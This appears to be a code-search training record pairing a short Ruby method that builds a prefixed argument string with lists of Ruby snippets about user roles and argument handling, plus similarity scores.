"def get_children_accounts\n if(current_user.role == \"Parent\")\n current_user.find_children.map{ |c| [c.get_accounts(c)[0], c.get_accounts(c)[1]]}.flatten\n end\n end",
"def get_available_roles \n ids = Array.new\n \n current = self.parent_id\n while current\n role = Role.find(current)\n if role\n if not ids.index(role.id)\n ids << role.id\n current = role.parent_id\n end \n end \n end\n return ids\n end",
"def roles\n # we can't use abilities as those are not defined when creating a new operator that is not yet saved\n #result = abilities.collect(&:name)\n authorizations.collect{|auth| auth.ability.try(:name)}\n end",
"def roles\n # we can't use abilities as those are not defined when creating a new operator that is not yet saved\n #result = abilities.collect(&:name)\n authorizations.collect{|auth| auth.ability.try(:name)}\n end",
"def pass_on_roles\n r = self.roles.to_a\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users)).to_a\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles)).to_a\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users)).to_a\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def admin_labs\n self.roles.where(name: \"admin\", resource_type: \"Lab\")\n end",
"def get_roles_list()\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n get_request(resource_path, query_parameters, nil)\n end",
"def my_managers\n my_groups = group_users.pluck(:group_id)\n CourseUser.joins(group_users: :group).merge(Course::GroupUser.manager).\n where(Course::Group.arel_table[:id].in(my_groups)).distinct\n end",
"def managers\n find_related_frbr_objects( :is_managed_by, :which_roles?) \n end",
"def accessible_roles\n index = ROLES.index(self.role)\n roles = User::ROLES[0..index].map{|x| [x.humanize, x]} if index\n return roles\n end",
"def roles\n return [] if !subject.respond_to?(roles_list_meth) || roles_of(subject).blank?\n roles_of(subject).flatten\n end",
"def roles\n\t\t\t\tProxy.new connection, 'role-strategy/strategy'\n\t\t\tend",
"def roles\r\n @roles ||= user_roles.map(&:name)\r\n end",
"def roles\n users.map { |item| item['roles'] }.flatten.uniq\n end",
"def roles_for(context=nil, force_context=nil)\n auth_scope do\n force_context ||= config.force_context\n context = Zuul::Context.parse(context)\n if force_context\n return subject_roles_for(context)\n else\n return subject_roles_within(context)\n end\n end\n end",
"def roles_for(section)\n roles = []\n Section.find_roles.pluck(:name).uniq.each do |role|\n roles += [role] if self.has_role?(role, section)\n end\n roles\n end",
"def all(options = {})\n request = if options.delete(:recursive) == false\n options[\"memberships\"] = true\n else\n options[\"all\"] = true\n end\n if filter = options.delete(:filter)\n filter = [filter] unless filter.is_a?(Array)\n options[\"filter\"] = filter.map{ |obj| cast(obj, :roleid) }\n end\n\n result = JSON.parse(self[options_querystring options].get)\n if result.is_a?(Hash) && ( count = result['count'] )\n count\n else\n host = Conjur::Authz::API.host\n result.collect do |item|\n if item.is_a?(String)\n Role.new(host, self.options)[Conjur::API.parse_role_id(item).join('/')]\n else\n RoleGrant.parse_from_json(item, self.options)\n end\n end\n end\n end",
"def my_roles\n @my_roles ||= self.roles.map {|r| r.name}.flatten.freeze\n end",
"def cluster_roles\n iterate :clusterroles do |r|\n setup_role role_kind: :ClusterRole, role: r\n end\n\n # For cluster roles with aggregation rules create an edge betweeen those roles\n @aggregable_roles.each do |aggregating_role, composite_roles|\n composite_roles.each do |composite_role|\n edge :aggregate, {\n aggregating_role_name: aggregating_role, \n composite_role_name: composite_role\n }\n edge :composite, {\n aggregating_role_name: aggregating_role,\n composite_role_name: composite_role\n }\n end\n end\n end",
"def each_role(&block)\n unless block_given?\n return enum_for(:each_role, &block)\n end\n\n each_parent_object(Dependency) do |parent|\n yield(parent, parent.roles_of(self))\n end\n end",
"def display_all_roles\n # Interface method\n end",
"def all\n data = []\n conn = @ec2_main.environment.iam_connection\n if conn != nil\n begin\n response = conn.list_roles()\n if response.status == 200\n data = response.body[\"Roles\"]\n end\n rescue\n puts \"ERROR: getting all roles #{$!}\"\n end\n end\n return data\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability)\n end",
"def role_select\n @@Roles.list\n end",
"def roles\n client.user_roles(id)\n end",
"def roles\n client.user_roles(id)\n end",
"def users\n Section.find_roles.pluck(:name).inject(Array.new) do |result, role|\n result += User.with_role(role, self)\n end.uniq\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end",
"def assignment_roles\n AssignmentRole.all\n end",
"def cr_node_roles\n @node.roles\n end",
"def show_roles_and_users\n chorus_object_roles.map(&:role).uniq.map do |r|\n [r.name, users_for_role(r).map(&:username)]\n end\n end",
"def self_and_ancestor_user_ids\n Account.where(id: self_and_ancestors.unscope(where: :type)).includes(:user_roles).collect do |account|\n account.user_roles.collect(&:user_id)\n end.flatten\n end",
"def my_roles(user)\n user.roles & self.design_review_results.collect { |drr| drr.role }\n end",
"def roles_for_user(user)\n role_ids = self.chorus_object_roles.where(:user_id => user.id).map(&:role_id)\n Role.find(role_ids)\n end",
"def roles\n # rocking this in memory because eager-loading\n roles = object.paper_roles.select { |role|\n role.user_id == scoped_user.id\n }.map(&:description)\n roles << \"My Paper\" if object.user_id == scoped_user.id\n roles\n end",
"def all_roles_with_changes\n (diff_roles + diff_profile.map do |klass|\n roles_that_include(klass)\n end.flatten).uniq\n end",
"def roles\n response[\"roles\"]\n end",
"def roles\n url = \"/gdc/projects/#{pid}/roles\"\n tmp = GoodData.get(url)\n tmp['projectRoles']['roles'].map do |role_url|\n json = GoodData.get role_url\n GoodData::ProjectRole.new(json)\n end\n end",
"def role\n # get all the employee's role\n # binding.pry\n Role.all.select{|role| role.employee == self}\n end",
"def manager_roles\n\n members = []\n Role.get_open_manager_reviewer_roles.each do |role|\n entry_user = self.board_design_entry_users.detect{ |eu| eu.role_id == role.id }\n members << { :role => role,\n :member_list => role.active_users,\n :member_id => entry_user ? entry_user.user_id : 0,\n :required => !entry_user || (entry_user && entry_user.required?) }\n end\n members\n end",
"def user_groups\n return @user_groups if @user_groups\n @user_groups = default_user_groups\n @user_groups += RoleMapper.roles(@user)\n @user_groups\n end",
"def accessible_roles\n #@accessible_roles = Role.accessible_by(current_ability,:read)\n @accessible_roles = User::ROLES\n end",
"def roles_for_vp_and_sysadmin\n\t\tvp_and_sysadmin_roles = []\n\t\tfor role in Role.all\n\t\t\tif role.name.eql?(\"System Admin\") || role.name.eql?(\"VP of Finance\") \n\t\t\t\tvp_and_sysadmin_roles << role\n\t\t\tend\n\t\tend\n\t\treturn vp_and_sysadmin_roles\n\tend",
"def update_roles_and_groups(role_ids, group_ids)\n # if self.access_to_roles?(roles) && self.access_to_groups?(groups)\n logger.info \"role_ids; #{role_ids.inspect}\"\n self.roles = Role.where(id: role_ids).to_a\n logger.info \"roles: #{self.roles.inspect}\"\n g = Group.where(id: group_ids).to_a\n logger.info \"g; #{g.inspect}\"\n # g.each {|group| self.groups << group unless self.groups.include?(group) }\n self.groups = g\n logger.info \"groups: #{self.groups.to_a.inspect}\"\n\n self.center = self.groups.first.center \n return self\n end",
"def data_roles\n if current_user.has_role? :superadmin\n @roles = Role.only_super_admin.accessible_by(current_ability)\n else\n unless current_user.warehouse.blank?\n roles = \"customer\"\n else\n roles = \"supplier\"\n end\n @roles = Role.only_admin_group(roles)\n end\n end",
"def find_grandchild_roles(roles, field_name)\n newroles = []\n roles.each do |role|\n if @grandchild_roles[role] && @grandchild_roles[role][field_name]\n newroles << @grandchild_roles[role][field_name]\n end\n end\n newroles\n end",
"def get_roles(email)\n raise NotImplementedError, \"Please implement this in your concrete class\"\n end",
"def to_authenticated_roles\n return self\n end",
"def organization_roles\n roles = []\n\n if Figaro.env.respond_to?(:cf_organization_add_manager) &&\n Figaro.env.cf_organization_add_manager.downcase == 'true'\n roles << 'manager'\n end\n\n if Figaro.env.respond_to?(:cf_organization_add_billing_manager) &&\n Figaro.env.cf_organization_add_billing_manager.downcase == 'true'\n roles << 'billing_manager'\n end\n\n if Figaro.env.respond_to?(:cf_organization_add_auditor) &&\n Figaro.env.cf_organization_add_auditor.downcase == 'true'\n roles << 'auditor'\n end\n\n roles\n end",
"def roles\n tmp = client.get @json['user']['links']['roles']\n tmp['associatedRoles']['roles'].pmap do |role_uri|\n role = client.get role_uri\n client.factory.create(GoodData::ProjectRole, role)\n end\n end",
"def roles\n (properties[:roles] || []).map { |r| r.is_a?(Link) ? r : Link.new(r, nil, client) }\n end",
"def list\n # We don't use pagination here since we want to display the roles in a\n # nice tree. Additionally, there won't be more than ~100 roles in a\n # normal scenario anyway - far less!\n @roles = Role.find(:all)\n end",
"def query_roles(options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.query_roles(@cluster, policy)\n end",
"def roles(reload = false)\n @roles = nil if reload\n @roles ||=\n Role.find_by_sql ['select * from roles where id in ' +\n self.class.role_assigned_cond(':id'),\n {:id => id}]\n end",
"def related_groups_users\n [].tap do |related_users|\n all_groups.each do |group|\n related_users << group.all_users.reject { |group_user| group_user == self }\n end\n end.flatten.uniq\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability, :read)\n end",
"def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability, :read)\n end",
"def roles\n raise \"#{subject.inspect} should have a #{roles_list_meth} method\" if !subject.respond_to?(roles_list_meth)\n subj_roles = subject.send(roles_list_meth)\n return [] if subj_roles.blank?\n subj_roles.flatten\n end",
"def all\n @roles = []\n @connection.deploys.all.each do |deploy|\n deploy.roles.each do |role|\n @roles << role\n end\n end\n @roles\n end",
"def accessible_roles\n @accessible_roles = Level.accessible_by(current_ability, :read)\n end"
] |
[
"0.739752",
"0.7090536",
"0.68356854",
"0.66487414",
"0.6629416",
"0.6606212",
"0.6347266",
"0.63248616",
"0.6312422",
"0.62840325",
"0.62070054",
"0.61775064",
"0.6159339",
"0.6139426",
"0.6110836",
"0.61017835",
"0.6078071",
"0.6049364",
"0.60354936",
"0.60335445",
"0.603072",
"0.603072",
"0.6010851",
"0.5968848",
"0.5968848",
"0.596146",
"0.59392715",
"0.59188324",
"0.5887191",
"0.58616143",
"0.58396405",
"0.5779745",
"0.5757429",
"0.5755697",
"0.57484686",
"0.5747368",
"0.57441384",
"0.571283",
"0.5703615",
"0.5703615",
"0.5702914",
"0.5674346",
"0.56703997",
"0.56693035",
"0.5661091",
"0.56564456",
"0.5645259",
"0.5630342",
"0.56278145",
"0.5620783",
"0.5619442",
"0.5617027",
"0.5615584",
"0.5607551",
"0.56052893",
"0.55973566",
"0.55964243",
"0.5585461",
"0.55784",
"0.5577449",
"0.5577133",
"0.5577133",
"0.55665845",
"0.5558378",
"0.5558378",
"0.5558378",
"0.5558378",
"0.5556992",
"0.5554132",
"0.5551276",
"0.55484414",
"0.55362403",
"0.55341345",
"0.5518265",
"0.55077165",
"0.5493268",
"0.5492107",
"0.54904366",
"0.5473496",
"0.54730517",
"0.547164",
"0.54708064",
"0.54627514",
"0.54582274",
"0.5453413",
"0.5452105",
"0.5449246",
"0.544076",
"0.542956",
"0.54258513",
"0.54240566",
"0.5423131",
"0.5412223",
"0.54108673",
"0.5406126",
"0.54006",
"0.54006",
"0.5396521",
"0.53929263",
"0.53874934"
] |
0.7625081
|
0
|
Construct a series of arguments.
|
def build_args(prefix = nil, args)
pre = prefix ? prefix + " " : ""
args.inject("") {|str, arg| str << pre + arg + " "}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def args\n n = self.num_args\n a = []\n n.times { |i|\n a.push Arg::new(self, i)\n }\n return a\n end",
"def args\n n = self.num_args\n a = []\n n.times { |i|\n a.push Arg::new(self, i)\n }\n return a\n end",
"def addArgs(vals); vals.each { |v| addArg v }; self end",
"def build_args\n @scope.argument_descriptors = build_arg_descriptor\n add CheckArityInstr.new(2, 0, false, false, -1)\n _in = @scope.get_new_local_variable(\"_in\", 0)\n add ReceivePreReqdArgInstr.new(_in, 0)\n _out = @scope.get_new_local_variable(\"_out\", 0)\n add ReceivePreReqdArgInstr.new(_out, 1)\n end",
"def add_arguments(*args)\n @arguments ||= Arguments.new\n args.each_with_index do |arg,a|\n argk, argv = *parse_arg(arg)\n \n # if the argument is not a known flag, is not a valid argument and the last argument was\n # a known flag, this must be a value for the last argument\n if !argument_flag?(arg) && !valid_argument?(argk) && (a > 0 && argument_flag?(args[a-1]))\n @arguments.last.value = arg\n next\n end\n\n # swap key/val to create an unnamed arg - if we're not a valid arg and we're the last argument or the\n # next argument is a valid arg we must be an unnamed argument\n if !valid_argument?(argk) && (!args[a+1] || valid_argument?(parse_arg(args[a+1])[0])) && (argv.nil? || argv.empty?) && !Commands::exists?(arg)\n argv = argk\n argk = nil\n end\n\n raise InvalidArgument, \"Invalid Argument: #{arg}\" if validate_arguments? && !valid_argument?(argk)\n @arguments << argument_object(argk)\n @arguments.last.value = argv unless argv.empty?\n end\n @arguments\n end",
"def with_arguments(*typenames)\n\t types = typenames.map { |n| library.registry.build(n) }\n\t @arguments.concat(types)\n\t @arity += typenames.size\n\t self\n\tend",
"def make_args(query)\n @args.update({'sequence' => query})\n return args_join(@args)\n end",
"def make_args(query)\n @args.update({'sequence' => query})\n return args_join(@args)\n end",
"def set_arguments(*args)\n @arguments = Arguments.new\n add_arguments(*args)\n end",
"def build_args(args)\n args.each do |arg|\n arg.each do |key, value|\n case key.to_s\n when 'query_params'\n @query_params = value\n when 'request_headers'\n update_headers(value)\n when 'request_body'\n @request_body = value\n end\n end\n end\n end",
"def crew _args\n \"crew _args;\" \n end",
"def to_args\n args = [\n \"--name \\\"#{name}\\\"\",\n \"--version \\\"#{version}\\\"\",\n \"--user \\\"#{user}\\\"\",\n \"--group \\\"#{group}\\\"\",\n \"--iteration \\\"#{iteration}\\\"\",\n \"--homepage \\\"#{homepage}\\\"\",\n \"--home \\\"#{home}\\\"\",\n \"--architecture \\\"#{architecture}\\\"\",\n \"--description \\\"#{description}\\\"\",\n \"--maintainer \\\"#{maintainer}\\\"\",\n \"--vendor \\\"#{vendor}\\\"\"\n ]\n args.push \"--dependencies #{dependencies.map{|d| \"\\\"#{d}\\\"\"}.join}\" unless dependencies.nil? || dependencies.empty?\n args.push \"--build-dependencies #{build_dependencies.map{|d| \"\\\"#{d}\\\"\"}.join}\" unless build_dependencies.nil? || build_dependencies.empty?\n args.push \"--compile-cache-dir \\\"#{compile_cache_dir}\\\"\" unless compile_cache_dir.nil? || compile_cache_dir.empty?\n args.push \"--before-precompile \\\"#{before_precompile}\\\"\" unless before_precompile.nil? || before_precompile.empty?\n args.push \"--after-precompile \\\"#{after_precompile}\\\"\" unless after_precompile.nil? || after_precompile.empty?\n args.push \"--before-install \\\"#{before_install}\\\"\" unless before_install.nil? || before_install.empty?\n args.push \"--after-install \\\"#{after_install}\\\"\" unless after_install.nil? || after_install.empty?\n args.push \"--before-remove \\\"#{before_remove}\\\"\" unless before_remove.nil? || before_remove.empty?\n args.push \"--after-remove \\\"#{after_remove}\\\"\" unless after_remove.nil? || after_remove.empty?\n\n args.push \"--license \\\"#{license}\\\"\" unless license.nil? || license.empty?\n args.push \"--buildpack \\\"#{buildpack}\\\"\" unless buildpack.nil? || buildpack.empty?\n args.push \"--buildpack_list \\\"#{buildpack_list}\\\"\" unless buildpack_list.nil? || buildpack_list.empty?\n args.push \"--force-os \\\"#{force_os}\\\"\" unless force_os.nil? || force_os.empty?\n args.push \"--runner \\\"#{runner}\\\"\" unless runner.nil? || runner.empty?\n args.push \"--logrotate-frequency \\\"#{logrotate_frequency}\\\"\" unless logrotate_frequency.nil? || logrotate_frequency.empty?\n args.push \"--logrotate-backlog \\\"#{logrotate_backlog}\\\"\" unless logrotate_backlog.nil?\n args.push \"--env #{env.variables.map{|v| \"\\\"#{v}\\\"\"}.join(\" \")}\" if env.present?\n args.push \"--auto\" if auto\n args.push \"--verbose\" if verbose\n args.push \"--store-cache\" if store_cache\n args.push \"--debug\" if debug\n args.push \"--verify\" if verify\n args.push \"--no-clean\" if !clean\n args.push \"--no-edge\" if !edge\n args.push \"--tmpdir\" if !tmpdir\n args\n end",
"def arguments\n ArgumentExpansion.new(arg_node)\n end",
"def initialize name, opts={}, **kwargs\n { arguments: []}.merge(opts).merge(kwargs) => { arguments: }\n @name = name\n @arguments = arguments\n end",
"def to_args(arity)\n case arity\n when -1\n full_arguments\n when (min_argument_count..full_argument_count)\n full_arguments.slice(full_argument_count - arity, arity)\n else\n raise ArgumentError, \"Arity must be between #{min_argument_count} \"\\\n \"and #{full_argument_count}\"\n end\n end",
"def to_args(arity)\n case arity\n when -1\n full_arguments\n when (min_argument_count..full_argument_count)\n full_arguments.slice(full_argument_count - arity, arity)\n else\n raise ArgumentError, \"Arity must be between #{min_argument_count} \"\\\n \"and #{full_argument_count}\"\n end\n end",
"def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def arguments=(_arg0); end",
"def arglists\n if @call_seq then\n @call_seq\n elsif @params then\n \"#{name}#{param_seq}\"\n end\n end",
"def arglists\n if @call_seq then\n @call_seq\n elsif @params then\n \"#{name}#{param_seq}\"\n end\n end",
"def set_arguments (args)\n end",
"def positional_args\n result = required_args + optional_args\n result << remaining_arg if remaining_arg\n result\n end",
"def initialize(args)\n args.each_pair do |n,v|\n self.send(n+'=',v)\n end\n end",
"def initialize(*args)\n args.each { |arg| self << arg }\n end",
"def arguments; end",
"def arguments; end",
"def arguments; end",
"def arguments\n @args ||= {}\n unless @args.size > 0\n ARGV.each_with_index do |arg, index|\n if arg.start_with?('-')\n if index + 1 < ARGV.size\n next_arg = ARGV[index + 1]\n if next_arg.start_with?('-') then\n @args.update(argument_present_or_direct(arg))\n else\n @args.update(arg => next_arg)\n end\n else\n @args.update(argument_present_or_direct(arg))\n end\n end\n end\n end\n @args\n end",
"def prepare_arguments(expression, arguments)\n case expression\n when Array\n expression.each do |item|\n prepare_arguments(item, arguments)\n end\n when Fast::FindFromArgument\n expression.arguments = arguments\n when Fast::Find\n prepare_arguments expression.token, arguments\n end\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n return args\n end",
"def make_args(args_hash)\n # The routin should be provided in the inherited class\n end",
"def build_with(*args)\n @build_attributes = args.map(&:to_s)\n end",
"def initialize(*arguments)\n options = arguments.extract_options!\n self.class.aggregated_properties.each do |arg|\n instance_variable_set(\"@#{arg}\", arguments.shift)\n end\n options.each do |arg, argv|\n instance_variable_set(\"@#{arg}\", argv)\n end\n end",
"def lambdacall_args(sexp)\n__args_index(car(sexp)) + lambdacall_index(cadr(sexp), [])\n end",
"def args(*) end",
"def arguments\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n return_value = ArgumentsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __ARGUMENTS253__ = nil\n argument254 = nil\n\n tree_for_ARGUMENTS253 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 206:5: ^( ARGUMENTS ( argument )* )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __ARGUMENTS253__ = match( ARGUMENTS, TOKENS_FOLLOWING_ARGUMENTS_IN_arguments_1535 )\n\n tree_for_ARGUMENTS253 = @adaptor.copy_node( __ARGUMENTS253__ )\n\n root_1 = @adaptor.become_root( tree_for_ARGUMENTS253, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 206:18: ( argument )*\n while true # decision 33\n alt_33 = 2\n look_33_0 = @input.peek( 1 )\n\n if ( look_33_0.between?( AMP, AMP_ASGN ) || look_33_0 == POST_DECR || look_33_0.between?( GEQ, AREF ) || look_33_0.between?( GREATER, HAT ) || look_33_0.between?( ARROW, HAT_ASGN ) || look_33_0 == ASGN || look_33_0 == REGEX || look_33_0 == IN || look_33_0 == INCR || look_33_0.between?( INSTANCEOF, RSHIFT3 ) || look_33_0 == RSHIFT3_ASGN || look_33_0.between?( RSHIFT_ASGN, COLON ) || look_33_0 == LEQ || look_33_0.between?( LESS, SLASH ) || look_33_0 == SLASH_ASGN || look_33_0.between?( STAR, DECR ) || look_33_0 == STAR_ASGN || look_33_0 == LSHIFT || look_33_0.between?( DELETE, THIS ) || look_33_0.between?( MINUS, TILDE ) || look_33_0.between?( MINUS_ASGN, MOD ) || look_33_0.between?( MOD_ASGN, TYPEOF ) || look_33_0.between?( NEQ, UMINUS ) || look_33_0.between?( NEQQ, UNDEFINED ) || look_33_0 == NEW || look_33_0 == NOT || look_33_0.between?( NULL, UPLUS ) || look_33_0 == OBJECT || look_33_0.between?( EQ, OR_ASGN ) || look_33_0 == FALSE || look_33_0 == PIPE || look_33_0 == PIPE_ASGN || look_33_0 == PLUS || look_33_0.between?( ID, DOC ) )\n alt_33 = 1\n\n end\n case alt_33\n when 1\n # at line 206:18: argument\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_argument_IN_arguments_1537 )\n argument254 = argument\n @state.following.pop\n\n @adaptor.add_child( root_1, argument254.tree )\n\n\n else\n break # out of loop for decision 33\n end\n end # loop for decision 33\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n end\n \n return return_value\n end",
"def arguments\n @arguments ||= Launchr::OrderedHash.new\n @arguments\n end",
"def arguments\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 66 )\n return_value = ArgumentsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal318 = nil\n char_literal320 = nil\n char_literal322 = nil\n char_literal323 = nil\n argument319 = nil\n argument321 = nil\n\n tree_for_char_literal318 = nil\n tree_for_char_literal320 = nil\n tree_for_char_literal322 = nil\n tree_for_char_literal323 = nil\n stream_RPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token RPAREN\" )\n stream_COMMA = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token COMMA\" )\n stream_LPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token LPAREN\" )\n stream_argument = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule argument\" )\n begin\n # at line 690:5: '(' ( argument ( ',' argument )* ( ',' )? )? ')'\n char_literal318 = match( LPAREN, TOKENS_FOLLOWING_LPAREN_IN_arguments_4895 )\n if @state.backtracking == 0\n stream_LPAREN.add( char_literal318 )\n end\n # at line 690:10: ( argument ( ',' argument )* ( ',' )? )?\n alt_78 = 2\n look_78_0 = @input.peek( 1 )\n\n if ( look_78_0 == GENERAL || look_78_0 == GET || look_78_0 == ARROW || look_78_0 == REGEX || look_78_0 == LBRACE || look_78_0 == LBRACK || look_78_0 == SET || look_78_0 == DDOC || look_78_0 == LPAREN || look_78_0 == DELETE || look_78_0.between?( DGENERAL, MACRO ) || look_78_0 == THIS || look_78_0 == TRUE || look_78_0.between?( TYPEOF, NEW ) || look_78_0 == EACH || look_78_0 == UNDEFINED || look_78_0 == NULL || look_78_0 == FALSE || look_78_0 == VOID || look_78_0 == FUNCTION || look_78_0.between?( POUND, DOC ) || look_78_0.between?( T__148, T__150 ) )\n alt_78 = 1\n elsif ( look_78_0 == IF || look_78_0 == IN || look_78_0.between?( BREAK, RETURN ) || look_78_0 == CASE || look_78_0 == CATCH || look_78_0.between?( CONTINUE, LET ) || look_78_0 == DEFAULT || look_78_0 == SWITCH || look_78_0 == DO || look_78_0 == THROW || look_78_0 == TRY || look_78_0 == ELSE || look_78_0 == UNLESS || look_78_0 == UNTIL || look_78_0.between?( VAR, FINALLY ) || look_78_0 == FOR || look_78_0 == WHILE || look_78_0 == WITH || look_78_0 == YIELD ) and ( ( property_definition? ) )\n alt_78 = 1\n elsif ( look_78_0 == AMP || look_78_0 == INCR || look_78_0 == IS_DEFINED || look_78_0 == DECR || look_78_0 == MINUS || look_78_0 == TILDE || look_78_0 == NOT || look_78_0 == PLUS || look_78_0 == IS_UNDEFINED )\n alt_78 = 1\n end\n case alt_78\n when 1\n # at line 690:12: argument ( ',' argument )* ( ',' )?\n @state.following.push( TOKENS_FOLLOWING_argument_IN_arguments_4900 )\n argument319 = argument\n @state.following.pop\n if @state.backtracking == 0\n stream_argument.add( argument319.tree )\n end\n # at line 690:22: ( ',' argument )*\n while true # decision 76\n alt_76 = 2\n look_76_0 = @input.peek( 1 )\n\n if ( look_76_0 == COMMA )\n look_76_1 = @input.peek( 2 )\n\n if ( look_76_1.between?( AMP, GENERAL ) || look_76_1 == GET || look_76_1 == ARROW || look_76_1 == IF || look_76_1.between?( IN, REGEX ) || look_76_1 == INCR || look_76_1.between?( BREAK, RETURN ) || look_76_1 == IS_DEFINED || look_76_1 == CASE || look_76_1 == CATCH || look_76_1 == LBRACE || look_76_1 == LBRACK || look_76_1.between?( SET, LET ) || look_76_1 == DDOC || look_76_1.between?( DECR, LPAREN ) || look_76_1 == DEFAULT || look_76_1 == DELETE || look_76_1.between?( DGENERAL, SWITCH ) || look_76_1.between?( MINUS, DO ) || look_76_1 == THROW || look_76_1 == TILDE || look_76_1 == TRUE || look_76_1 == TRY || look_76_1.between?( TYPEOF, NEW ) || look_76_1.between?( EACH, UNLESS ) || look_76_1 == UNTIL || look_76_1 == FALSE || look_76_1.between?( VAR, FINALLY ) || look_76_1.between?( VOID, FOR ) || look_76_1 == WHILE || look_76_1.between?( WITH, YIELD ) || look_76_1.between?( IS_UNDEFINED, DOC ) || look_76_1.between?( T__148, T__150 ) )\n alt_76 = 1\n\n end\n\n end\n case alt_76\n when 1\n # at line 690:24: ',' argument\n char_literal320 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_arguments_4905 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal320 )\n end\n @state.following.push( TOKENS_FOLLOWING_argument_IN_arguments_4907 )\n argument321 = argument\n @state.following.pop\n if @state.backtracking == 0\n stream_argument.add( argument321.tree )\n end\n\n else\n break # out of loop for decision 76\n end\n end # loop for decision 76\n # at line 690:41: ( ',' )?\n alt_77 = 2\n look_77_0 = @input.peek( 1 )\n\n if ( look_77_0 == COMMA )\n alt_77 = 1\n end\n case alt_77\n when 1\n # at line 690:41: ','\n char_literal322 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_arguments_4913 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal322 )\n end\n\n end\n\n end\n char_literal323 = match( RPAREN, TOKENS_FOLLOWING_RPAREN_IN_arguments_4919 )\n if @state.backtracking == 0\n stream_RPAREN.add( char_literal323 )\n end\n # AST Rewrite\n # elements: argument\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 690:53: -> ^( ARGUMENTS ( argument )* )\n # at line 690:56: ^( ARGUMENTS ( argument )* )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( ARGUMENTS, \"ARGUMENTS\" ), root_1 )\n\n # at line 690:69: ( argument )*\n while stream_argument.has_next?\n @adaptor.add_child( root_1, stream_argument.next_tree )\n\n end\n\n stream_argument.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 66 )\n\n end\n \n return return_value\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arrayize_arguments(args)\n # Go through trailing arguments and suck them in if they don't seem\n # to have an owner.\n array = []\n until args.empty? || args.first.match(/^-/)\n array << args.shift\n end\n array\n end",
"def build_with(*args)\n@build_attributes = args.map(&:to_s)\nend",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def arg(name, options=[])\n @next_arguments ||= []\n @next_arguments << Argument.new(name, Array(options).flatten)\n end",
"def varargs(arg1,*rest)\n puts \"Got #{arg1} and #{rest.join(',')}\"\nend",
"def varargs(arg1, *rest)\n \"arg1=#{arg1}. rest=#{rest.inspect}\"\nend",
